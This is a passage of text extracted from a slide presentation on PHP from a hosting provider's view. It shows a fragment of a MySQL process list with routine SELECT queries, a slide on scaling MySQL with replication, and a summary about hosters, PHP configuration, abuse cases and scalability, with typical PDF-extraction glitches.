=  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  • 75. Scaling  MySQL  with  replicaon
  • 77.
  • 82. Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  • 83.
  • 84. Q&A